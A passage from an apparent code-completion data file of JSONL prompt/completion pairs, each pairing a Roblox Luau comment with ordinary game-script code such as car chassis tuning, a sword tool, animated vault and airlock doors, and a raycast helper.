Vector3.new(0,0,0)\n"} +{"prompt": "--Tuning tips: If your car tends to oversteer, increase the ratio of friction towards the front (E.G. .65 front .6 rear), do the opposite in case of understeer", "completion": "\n"} +{"prompt": "-- A state object which follows another state object using spring simulation.", "completion": "\nexport type Spring = StateObject & Dependent & {\n\t-- kind: \"Spring\" (add this when Luau supports singleton types)\n\t-- Uncomment when ENABLE_PARAM_SETTERS is enabled\n\t-- setPosition: (Spring, newValue: Animatable) -> (),\n\t-- setVelocity: (Spring, newValue: Animatable) -> (),\n\t-- addVelocity: (Spring, deltaValue: Animatable) -> ()\n}\n"} +{"prompt": "-- Connect 'MoveToFinished' event to the 'onWaypointReached' function", "completion": "\nhuman.MoveToFinished:Connect(onWaypointReached)\n "} +{"prompt": "-------- OMG HAX", "completion": "\n\nr = game:service(\"RunService\")\n\n\nlocal damage = 5\n\n\nlocal slash_damage = 12\n\n\nsword = script.Parent.Handle\nTool = script.Parent\n\n\nlocal SlashSound = Instance.new(\"Sound\")\nSlashSound.SoundId = \"rbxasset://sounds\\\\swordslash.wav\"\nSlashSound.Parent = sword\nSlashSound.Volume = .7\n\n\nlocal UnsheathSound = Instance.new(\"Sound\")\nUnsheathSound.SoundId = \"rbxasset://sounds\\\\unsheath.wav\"\nUnsheathSound.Parent = sword\nUnsheathSound.Volume = 1\n\nfunction isTurbo(character)\n\treturn character:FindFirstChild(\"PirateHat\") ~= nil\nend\n\n\n\nfunction blow(hit)\n\tlocal humanoid = hit.Parent:findFirstChild(\"Humanoid\")\n\tlocal vCharacter = Tool.Parent\n\tlocal vPlayer = game.Players:playerFromCharacter(vCharacter)\n\tlocal hum = vCharacter:findFirstChild(\"Humanoid\") -- non-nil if tool held by a character\n\tif humanoid~=nil and humanoid ~= hum and hum ~= nil then\n\t\t-- final check, make sure sword is in-hand\n\n\t\tlocal right_arm = vCharacter:FindFirstChild(\"Right Arm\")\n\t\tif (right_arm ~= nil) then\n\t\t\tlocal joint = right_arm:FindFirstChild(\"RightGrip\")\n\t\t\tif (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then\n\t\t\t\ttagHumanoid(humanoid, vPlayer)\n\t\t\t\tif (isTurbo(vCharacter) == true) then\n\t\t\t\t\thumanoid:TakeDamage(damage * 1.5)\n\t\t\t\telse\n\t\t\t\t\thumanoid:TakeDamage(damage)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\twait(1)\n\t\t\t\tuntagHumanoid(humanoid)\n\t\t\tend\n\t\tend\n\n\n\tend\nend\n\n\nfunction tagHumanoid(humanoid, player)\n\tlocal creator_tag = Instance.new(\"ObjectValue\")\n\tcreator_tag.Value = player\n\tcreator_tag.Name = \"creator\"\n\tcreator_tag.Parent = humanoid\nend\n\nfunction untagHumanoid(humanoid)\n\tif humanoid ~= nil then\n\t\tlocal tag = humanoid:findFirstChild(\"creator\")\n\t\tif tag ~= nil then\n\t\t\ttag.Parent = nil\n\t\tend\n\tend\nend\n\n\nfunction attack()\n\tdamage = slash_damage\n\tSlashSound:play()\n\tlocal anim = Instance.new(\"StringValue\")\n\tanim.Name = \"toolanim\"\n\tanim.Value = \"Slash\"\n\tanim.Parent = Tool\nend\n\n\nfunction swordUp()\n\tTool.GripForward = Vector3.new(-1,0,0)\n\tTool.GripRight = Vector3.new(0,1,0)\n\tTool.GripUp = Vector3.new(0,0,1)\nend\n\nfunction swordOut()\n\tTool.GripForward = Vector3.new(0,0,1)\n\tTool.GripRight = Vector3.new(0,-1,0)\n\tTool.GripUp = Vector3.new(-1,0,0)\nend\n\n\n\nTool.Enabled = true\n\nfunction onActivated()\n\n\tif not Tool.Enabled then\n\t\treturn\n\tend\n\n\tTool.Enabled = false\n\n\tlocal character = Tool.Parent;\n\tlocal humanoid = character.Humanoid\n\tif humanoid == nil then\n\t\tprint(\"Humanoid not found\")\n\t\treturn \n\tend\n\n\t\n\n\tattack()\n\n\twait(.5)\n\n\tTool.Enabled = true\nend\n\n\nfunction onEquipped()\n\tUnsheathSound:play()\nend\n\n\nscript.Parent.Activated:connect(onActivated)\nscript.Parent.Equipped:connect(onEquipped)\n\n\nconnection = sword.Touched:connect(blow)\n\n\n"} +{"prompt": "--//both of you, dance like you want to win!", "completion": "\n\nlocal SSS = game:GetService(\"ServerScriptService\")\nlocal TS = game:GetService(\"TweenService\")\nlocal Global = require(SSS.Server.Scripts.Server.CoreSystems.Modules.Global)\n\nlocal Deb = false\nlocal Status = false\n\nlocal function Toggle()\n\tif not Deb then\n\t\tif not Status then --open\n\t\t\tDeb = true\n\t\t\tscript.Parent.Sound.vaultdooropen:Play()\n\t\t\tif script.Parent.Vault.Door.VaultHandle:FindFirstChild(\"Motor\") then\n\t\t\t\tTS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(2), {AngularVelocity = -30}):Play()\n\t\t\tend\n\t\t\twait(1.8)\n\t\t\tif script.Parent.Vault.Door.VaultHandle:FindFirstChild(\"Motor\") then\n\t\t\t\tTS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(4), {AngularVelocity = 0}):Play()\n\t\t\tend\n\t\t\tfor i = 7,11 do\n\t\t\t\tGlobal.TweenModelBounceOut(script.Parent[\"Bar\"..i].Bar, script.Parent[\"Bar\"..i].ToGo.CFrame, true, .15)\n\t\t\tend\n\t\t\t\n\t\t\twait(.9)\n\t\t\tfor i = 1,3 do\n\t\t\t\tGlobal.TweenModelBounceOut(script.Parent[\"Bar\"..i].Bar, script.Parent[\"Bar\"..i].ToGo.CFrame, true, .375)\n\t\t\tend\n\t\t\t\n\t\t\twait(1)\n\t\t\tfor i = 4,6 do\n\t\t\t\tGlobal.TweenModelBounceOut(script.Parent[\"Bar\"..i].Bar, script.Parent[\"Bar\"..i].ToGo.CFrame, true, .375)\n\t\t\tend\n\t\t\t\n\t\t\twait(.7)\n\t\t\tscript.Parent.Vault.Door.VaultHandle.Motor.Anchored = true\n\t\t\tGlobal.TweenModel(script.Parent.Vault.Door, script.Parent.Vault.ToGo.CFrame, true, 6.5)\n\t\t\t\n\t\t\twait(7)\n\t\t\tStatus = true\n\t\t\tDeb = false\n\t\telse\n\t\t\tDeb = true\n\t\t\tscript.Parent.Sound.vaultdoorclose:Play()\n\t\t\tGlobal.TweenModel(script.Parent.Vault.Door, script.Parent.Vault.Org.CFrame, true, 6.5)\n\t\t\tscript.Parent.Vault.Door.VaultHandle.Motor.Anchored = false\n\t\t\t\n\t\t\twait(1.3)\n\t\t\tif script.Parent.Vault.Door.VaultHandle:FindFirstChild(\"Motor\") then\n\t\t\t\tTS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(2), {AngularVelocity = 30}):Play()\n\t\t\tend\n\t\t\twait(1.8)\n\t\t\tif script.Parent.Vault.Door.VaultHandle:FindFirstChild(\"Motor\") then\n\t\t\t\tTS:Create(script.Parent.Vault.Door.VaultHandle.Motor.HingeConstraint, TweenInfo.new(4), {AngularVelocity = 0}):Play()\n\t\t\tend\n\t\t\tfor i = 7,11 do\n\t\t\t\tGlobal.TweenModelBounceOut(script.Parent[\"Bar\"..i].Bar, script.Parent[\"Bar\"..i].Org.CFrame, true, .15)\n\t\t\tend\n\t\t\t\n\t\t\twait(1.2)\n\t\t\tfor i = 1,3 do\n\t\t\t\tGlobal.TweenModelBounceOut(script.Parent[\"Bar\"..i].Bar, script.Parent[\"Bar\"..i].Org.CFrame, true, .375)\n\t\t\tend\n\t\t\t\n\t\t\twait(.75)\n\t\t\tfor i = 4,6 do\n\t\t\t\tGlobal.TweenModelBounceOut(script.Parent[\"Bar\"..i].Bar, script.Parent[\"Bar\"..i].Org.CFrame, true, .375)\n\t\t\tend\n\t\t\t\n\t\t\twait(3.5)\n\t\t\tStatus = false\n\t\t\tDeb = false\n\t\tend\n\tend\nend\n\nscript.Parent.ClickDetector.MouseClick:Connect(Toggle)\n"} +{"prompt": "--SECOND DOOR", "completion": "\nlocal LMLOP2 = script.Parent.Door2.Left.LockMechanisms.LM.CFrame\nlocal LMLTGP2 = script.Parent.Door2.Left.LockMechanisms.LMToGo.CFrame\nlocal RMLOP2 = script.Parent.Door2.Right.LockMechanisms.LM.CFrame\nlocal RMLTGP2 = script.Parent.Door2.Right.LockMechanisms.LMToGo.CFrame\nlocal LDOP2 = script.Parent.Door2.Left.LeftDoor.CFrame\nlocal LDTGP2 = script.Parent.Door2.Left.ToGoPos.CFrame\nlocal RDOP2 = script.Parent.Door2.Right.RightDoor.CFrame\nlocal RDTGP2 = script.Parent.Door2.Right.ToGoPos.CFrame\n\nlocal function Cycle()\n\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.Fan1.Part.HingeConstraint.AngularVelocity=120\n\tscript.Parent.Fan2.Part.HingeConstraint.AngularVelocity=120\n\tscript.Parent.Fan1.Part.Smoke.Enabled=true\n\tscript.Parent.Fan2.Part.Smoke.Enabled=true\n\tscript.Parent.Airlocc.Sound:Play()\n\twait(3)\n\tscript.Parent.Fan1.Part.HingeConstraint.AngularVelocity=0\n\tscript.Parent.Fan2.Part.HingeConstraint.AngularVelocity=0\n\twait(2)\n\tscript.Parent.Fan1.Part.Smoke.Enabled=false\n\tscript.Parent.Fan2.Part.Smoke.Enabled=false\n\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright green\")\n\twait(1)\nend\n\nlocal function CloseAll()\n\tlocal Main = \"N/A\"\n\tif DoorStatusA == \"Opened\" then\n\t\tscript.Parent.Frame1.Union.OpenClose:Play()\n\t\tGlobals.TweenModel(script.Parent.Door1.Left, LDOP,false,5.2)\n\t\tGlobals.TweenModel(script.Parent.Door1.Right,RDOP,true,5.2)\n\t\tGlobals.TweenModel(script.Parent.Door1.Left.LockMechanisms, LMLOP,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door1.Right.LockMechanisms,RMLOP,true,1)\n\t\tDoorStatusA = \"Closed\"\n\tend\n\tif DoorStatusB == \"Opened\" then\n\t\tscript.Parent.Frame.Union.OpenClose:Play()\n\t\tGlobals.TweenModel(script.Parent.Door2.Left, LDOP2,false,5.2)\n\t\tGlobals.TweenModel(script.Parent.Door2.Right,RDOP2,true,5.2)\n\t\tGlobals.TweenModel(script.Parent.Door2.Left.LockMechanisms, LMLOP2,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door2.Right.LockMechanisms,RMLOP2,true,1)\n\t\tDoorStatusB = \"Closed\"\n\tend\nend\n\nlocal function OpenAll()\n\tlocal Main = \"N/A\"\n\tif DoorStatusA == \"Closed\" then\n\t\tGlobals.TweenModel(script.Parent.Door1.Left.LockMechanisms, LMLTGP,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door1.Right.LockMechanisms,RMLTGP,true,1)\n\t\tscript.Parent.Frame1.Union.OpenClose:Play()\t\n\t\tGlobals.TweenModel(script.Parent.Door1.Left, LDTGP,false,5.2)\t\n\t\tGlobals.TweenModel(script.Parent.Door1.Right,RDTGP,true,5.2)\n\t\tDoorStatusA = \"Opened\"\n\tend\n\tif DoorStatusB == \"Closed\" then\n\t\tGlobals.TweenModel(script.Parent.Door2.Left.LockMechanisms, LMLTGP2,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door2.Right.LockMechanisms,RMLTGP2,true,1)\n\t\tscript.Parent.Frame.Union.OpenClose:Play()\t\n\t\tGlobals.TweenModel(script.Parent.Door2.Left, LDTGP2,false,5.2)\t\n\t\tGlobals.TweenModel(script.Parent.Door2.Right,RDTGP2,true,5.2)\n\t\tDoorStatusB = \"Opened\"\n\tend\nend\n\n\nlocal function OpenDoor1()\n\tif DoorStatusA == \"Closed\" then\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright red\")\n\t\tGlobals.TweenModel(script.Parent.Door1.Left.LockMechanisms, LMLTGP,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door1.Right.LockMechanisms,RMLTGP,true,1)\n\t\tscript.Parent.Frame1.Union.OpenClose:Play()\t\n\t\tGlobals.TweenModel(script.Parent.Door1.Left, LDTGP,false,5.2)\t\n\t\tGlobals.TweenModel(script.Parent.Door1.Right,RDTGP,true,5.2)\n\t\tDoorStatusA = \"Opened\"\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright green\")\n\tend\nend\nlocal function CloseDoor1()\n\tif DoorStatusA == 'Opened' then\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.Frame1.Union.OpenClose:Play()\n\t\tGlobals.TweenModel(script.Parent.Door1.Left, LDOP,false,5.2)\n\t\tGlobals.TweenModel(script.Parent.Door1.Right,RDOP,true,5.2)\n\t\tGlobals.TweenModel(script.Parent.Door1.Left.LockMechanisms, LMLOP,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door1.Right.LockMechanisms,RMLOP,true,1)\n\t\tDoorStatusA = \"Closed\"\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright green\")\n\tend\nend\nlocal function OpenDoor2()\n\tif DoorStatusB == \"Closed\" then\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Deep orange\")\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright red\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright red\")\n\t\tGlobals.TweenModel(script.Parent.Door2.Left.LockMechanisms, LMLTGP2,false,1)\n\t\tGlobals.TweenModel(script.Parent.Door2.Right.LockMechanisms,RMLTGP2,true,1)\n\t\tscript.Parent.Frame.Union.OpenClose:Play()\t\n\t\tGlobals.TweenModel(script.Parent.Door2.Left, LDTGP2,false,5.2)\t\n\t\tGlobals.TweenModel(script.Parent.Door2.Right,RDTGP2,true,5.2)\n\t\tDoorStatusB = \"Opened\"\n\t\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright green\")\n\t\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright green\")\n\tend\nend\nlocal function CloseDoor2()\n\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Deep orange\")\n\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Deep orange\")\n\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Deep orange\")\n\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright red\")\n\tscript.Parent.Frame.Union.OpenClose:Play()\n\tGlobals.TweenModel(script.Parent.Door2.Left, LDOP2,false,5.2)\n\tGlobals.TweenModel(script.Parent.Door2.Right,RDOP2,true,5.2)\n\tGlobals.TweenModel(script.Parent.Door2.Left.LockMechanisms, LMLOP2,false,1)\n\tGlobals.TweenModel(script.Parent.Door2.Right.LockMechanisms,RMLOP2,true,1)\n\tDoorStatusB = \"Closed\"\n\tscript.Parent.LockShowB.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShow2B.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShowC.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShowA.BrickColor = BrickColor.new(\"Bright green\")\n\tscript.Parent.LockShow2A.BrickColor = BrickColor.new(\"Bright green\")\nend\n"} +{"prompt": "--[[\nTheNexusAvenger\n\nApplies a winter theme to Skylands.\n--]]", "completion": "\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t={\"Auto\",\"Semi\"}\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"RPM\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 3.20\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.42\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.75\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.38\t\t,\n\t\t--[[ 3 ]]\t\t1.72\t\t,\n\t\t--[[ 4 ]]\t\t1.34\t\t,\n\t\t--[[ 5 ]]\t\t1.11\t\t,\n\t\t--[[ 6 ]]\t\t.78\t\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--[[ss1.Touched:connect(function()\n\tif IsOpen.Value == false then\n\t\tOtherDir.Value = false\n\t\topendoor()\n\t\twait(TimeDelay)\n\t\tclosedoor()\n\tend\nend)]]", "completion": "\n\ntrigger.Changed:Connect(function()\n\tif trigger.Value == true and IsOpen.Value == false then\n\t\topendoor()\n\telseif trigger.Value == false and IsOpen.Value == true then\n\t\tclosedoor()\n\tend\nend)\n"} +{"prompt": "--// SS3 controls for AC6 by Itzt, originally for 2014 Infiniti QX80. i don't know how to tune ac lol", "completion": "\n \nwait(0.1)\nlocal player = game.Players.LocalPlayer\nlocal HUB = script.Parent.HUB\n\nlocal limitButton = HUB.Name\nlocal FE = game.Workspace.FilteringEnabled\nlocal lightOn = false\nlocal Camera = game.Workspace.CurrentCamera\nlocal cam = script.Parent.nxtcam.Value\nlocal carSeat = script.Parent.CarSeat.Value\nlocal mouse = game.Players.LocalPlayer:GetMouse()\nlocal windows = false\nlocal handler = carSeat:WaitForChild('Filter')\nlocal winfob = HUB.Parent.Music\nlocal pal = false\nlocal palpal = HUB.Parent.Palette\nlocal red = 0\nlocal green = 0\nlocal blue = 1\nlocal debounce = false\n"} +{"prompt": "--[[\n\tUsed to catch any errors that may have occurred in the promise.\n]]", "completion": "\nfunction Promise.prototype:catch(failureCallback)\n\treturn self:andThen(nil, failureCallback)\nend\n"} +{"prompt": "-- initialize to idle", "completion": "\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\n\nwhile Figure.Parent ~= nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n\n\n\n"} +{"prompt": "--\t\tdebounce=false\n--\tend", "completion": "\nend\nme.Touched:connect(Hit)\n"} +{"prompt": "--[[Susupension]]", "completion": "\n\tTune.SusEnabled\t\t= true\t\t-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled\n\t\n\t--Front Suspension\n\tTune.FSusDamping\t= 400\t\t-- Spring Dampening\n\tTune.FSusStiffness\t= 17000\t\t-- Spring Force\n\tTune.FSusLength\t\t= 1.9\t\t-- Resting Suspension length (in studs)\n\tTune.FSusMaxExt\t\t= .15\t\t-- Max Extension Travel (in studs)\n\tTune.FSusMaxComp\t= .05\t\t-- Max Compression Travel (in studs)\n\tTune.FSusAngle\t\t= 75\t\t-- Suspension Angle (degrees from horizontal)\n\t\t\n\tTune.FWsBoneLen\t\t= 6\t\t\t-- Wishbone Length\n\tTune.FWsBoneAngle\t= 3\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.FAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\t\n\t--Rear Suspension\n\tTune.RSusDamping\t= 400\t\t-- Spring Dampening\n\tTune.RSusStiffness\t= 17000\t\t-- Spring Force\n\tTune.RSusLength\t\t= 2.1\t\t-- Resting Suspension length (in studs)\n\tTune.RSusMaxExt\t\t= .15\t\t-- Max Extension Travel (in studs)\n\tTune.RSusMaxComp\t= .05\t\t-- Max Compression Travel (in studs)\n\tTune.RSusAngle\t\t= 80\t\t-- Suspension Angle (degrees from horizontal)\n\t\n\tTune.RWsBoneLen\t\t= 5\t\t\t-- Wishbone Length\n\tTune.RWsBoneAngle\t= 2\t\t\t-- Wishbone angle (degrees from horizontal)\n\tTune.RAnchorOffset\t= {\t\t\t-- Suspension anchor point offset (relative to center of wheel)\n\t --[[Lateral]]\t\t-.4\t\t,\t-- positive = outward\n\t --[[Vertical]]\t\t-.5\t\t,\t-- positive = upward\n\t --[[Forward]]\t\t0\t\t}\t-- positive = forward\n\n\t--Aesthetics\t\n\tTune.SusVisible\t\t= true\t\t\t-- Spring Visible\n\tTune.WsBVisible\t\t= false\t\t\t-- Wishbone Visible\n\tTune.SusRadius\t\t= .2\t\t\t-- Suspension Coil Radius\n\tTune.SusThickness\t= .1\t\t\t-- Suspension Coil Thickness\n\tTune.SusColor\t\t= \"Bronze\"\t\t-- Suspension Color [BrickColor]\n\tTune.SusCoilCount\t= 8\t\t\t\t-- Suspension Coil Count\n\tTune.WsColor\t\t= \"Black\"\t\t-- Wishbone Color [BrickColor]\n\tTune.WsThickness\t= .1\t\t\t-- Wishbone Rod Thickness\n\t"} +{"prompt": "--Creates both buffer and non-buffer rockets.", "completion": "\nfunction RocketCreator:CreateRocket(IsBufferRocket)\n\t--Create the base parts and mesh.\n\tlocal Rocket = Instance.new(\"Part\")\n\tRocket.Name = \"Rocket\"\n\tRocket.Size = Vector3.new(1,1,4)\n\tRocket.CanCollide = false\n\n\tlocal Mesh = Instance.new(\"SpecialMesh\")\n\tMesh.Name = \"RocketMesh\"\n\tMesh.MeshId = \"http://www.roblox.com/asset/?id=94690081\"\n\tMesh.TextureId = \"http://www.roblox.com/asset/?id=94689966\"\n\tMesh.Parent = Rocket\n\n\tif IsBufferRocket then\n\t\t--If it is a buffer rocket, add the effects, physics, and scripts.\n\t\tMesh.Scale = Vector3.new(2.5,2.5,2)\n\t\n\t\tlocal Fire = Instance.new(\"Fire\")\n\t\tFire.Heat = 5\n\t\tFire.Size = 2\n\t\tFire.Parent = Rocket\n\t\n\t\tlocal Light = Instance.new(\"PointLight\")\n\t\tLight.Name = \"Light\"\n\t\tLight.Color = Color3.new(1,170/255,0)\n\t\tLight.Range = 10\n\t\tLight.Shadows = true\n\t\tLight.Parent = Rocket\n\t\t\n\t\tlocal BodyGyro = Instance.new(\"BodyGyro\")\n\t\tBodyGyro.MaxTorque = Vector3.new(10^99,10^99,10^99)\n\t\tBodyGyro.Parent = Rocket\n\t\t\n\t\tlocal RocketPropulsion = Instance.new(\"BodyVelocity\")\n\t\tRocketPropulsion.MaxForce = Vector3.new(10^99,10^99,10^99)\n\t\tRocketPropulsion.Parent = Rocket\n\t\n\t\tlocal SwooshSound = Instance.new(\"Sound\")\n\t\tSwooshSound.Name = \"SwooshSound\"\n\t\tSwooshSound.MaxDistance = 10000\n\t\tSwooshSound.Looped = true\n\t\tSwooshSound.SoundId = \"rbxasset://sounds/Rocket whoosh 01.wav\"\n\t\tSwooshSound.Volume = 1\n\t\tSwooshSound.Parent = Rocket\n\t\t\n\t\tlocal NewRocketScript = RocketScript:Clone()\n\t\tNewRocketScript.Disabled = false\n\t\tNewRocketScript.Parent = Rocket\n\t\t\n\t\tPlayerDamagerScript:Clone().Parent = NewRocketScript\n\t\tConfigurationScript:Clone().Parent = NewRocketScript\n\tend\n\t\n\treturn Rocket\nend\n\nreturn RocketCreator\n"} +{"prompt": "--[[Misc]]", "completion": "\n\tTune.LoadDelay\t\t= 1.0\t\t-- Delay before initializing chassis (in seconds)\n\tTune.AutoStart\t\t= true\t\t-- Set to false if using manual ignition plugin\n\tTune.AutoFlip\t\t= true\t\t-- Set to false if using manual flip plugin\n\tTune.AutoUpdate\t\t= true\t\t-- Automatically applies minor updates to the chassis if any are found.\n\t\t\t\t\t\t\t\t\t-- Will NOT apply major updates, but will notify you of any.\n\t\t\t\t\t\t\t\t\t-- Set to false to mute notifications, or if using modified Drive."} +{"prompt": "--script.Parent.Parent.Parent:FindFirstChild(\"A-Chassis Tune\"):WaitForChild('A-Chassis Interface')", "completion": "\nhandler = script.Parent\n\nhandler.OnServerEvent:Connect(function(plr, side)\n\tprint('received')\n\thandler:FireClient(game.Players:WaitForChild(plr.Name))\n\tif side == 'front' then\n\t\tairbags.FL.Transparency = 0\n\t\tairbags.FR.Transparency = 0\n\tend\t\n\t\n\tif side == 'frontleft' then\n\t\tairbags.FL.Transparency = 0\n\t\tairbags.FR.Transparency = 0\n\t\tairbags.L.Transparency = 0\n\tend\n\t\n\tif side == 'left' then\n\t\tairbags.L.Transparency = 0\n\t\tairbags.R.Transparency = 0\n\tend\n\t\n\tif side == 'frontright' then\n\t\tairbags.FR.Transparency = 0\n\t\tairbags.FL.Transparency = 0\n\t\tairbags.R.Transparency = 0\n\tend\n\t\n\tif side == 'right' then\n\t\tairbags.R.Transparency = 0\n\t\tairbags.L.Transparency = 0\n\tend\n\t\n\tif side == 'restore' then\n\t\tairbags.FL.Transparency = 1\n\t\tairbags.FR.Transparency = 1\n\t\tairbags.R.Transparency = 1\t\n\t\tairbags.L.Transparency = 1\n\tend\nend)\n"} +{"prompt": "-- Read the comments below to set your admin commands to your liking --", "completion": "\n\nlocal Banned = {\"Put Name Here\"} --Put the person you want to bans name here, or use the command \";ban [Player]\"\n"} +{"prompt": "-- -- The \"process.env\" object has a bunch of particularities: first, it does not\n-- -- directly extend from Object; second, it converts any assigned value to a\n-- -- string; and third, it is case-insensitive in Windows. We use a proxy here to\n-- -- mimic it (see https://nodejs.org/api/process.html#process_process_env).", "completion": "\n"} +{"prompt": "--[=[\n\tFired when the Merch Booth is closed.\n\n\tThis fires when either the catalog or item detail view are closed.\n\n\t@prop merchBoothClosed RBXScriptSignal\n\t@within MerchBooth\n\t@client\n]=]", "completion": "\nuiStatesEvents.merchBoothClosed = Instance.new(\"BindableEvent\")\n"} +{"prompt": "--<< Returns hit, position, normal, time >>", "completion": "\nfunction raycast(model, start, vector, brickFunction)\n\tlocal hit, normal, time = raycastRecursive(model, start, vector, brickFunction, vector.unit, dot(start, vector.unit))\n\tif (dot(normal, vector) > 0) then\n\t\tnormal = -normal\n\tend\n\treturn hit, start + time * vector, normal.unit, time\nend\nfunction raycastRecursive(model, start, vector, brickFunction, unitVec, startDist)\n\tif (model.className == \"Part\") or (model.className == \"Seat\") or (model.className ==\"SpawnLocation\") then\n\t\tlocal range = model.Size.magnitude / 2\n\t\tlocal dist = dot(model.Position, unitVec) - startDist\n\t\tif (dist + range > 0) and (dist - range < vector.magnitude) and ((dist * unitVec + start - model.Position).magnitude < range) and brickFunction(model) then\n\t\t\tlocal halfSize = model.Size / 2\n\t\t\tif (model.Shape == Enum.PartType.Ball) 